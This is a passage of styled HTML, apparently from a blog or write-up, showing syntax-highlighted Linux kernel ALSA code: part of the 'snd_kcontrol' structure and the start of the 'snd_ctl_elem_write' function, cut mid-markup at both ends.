font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">list</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">of</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">controls</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_id</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">id;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">of</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">same</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">elements</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol_info_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*info;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol_get_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*get;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol_put_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*put;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">union</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol_tlv_rw_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*c;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*p;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">tlv;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">long</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_value;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*private_data;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(*private_free)(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*kcontrol);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol_volatile</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">vd[];</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">volatile</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">data</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">};</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_card</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*card,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_file</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*file,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_value</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*control)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*kctl;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: 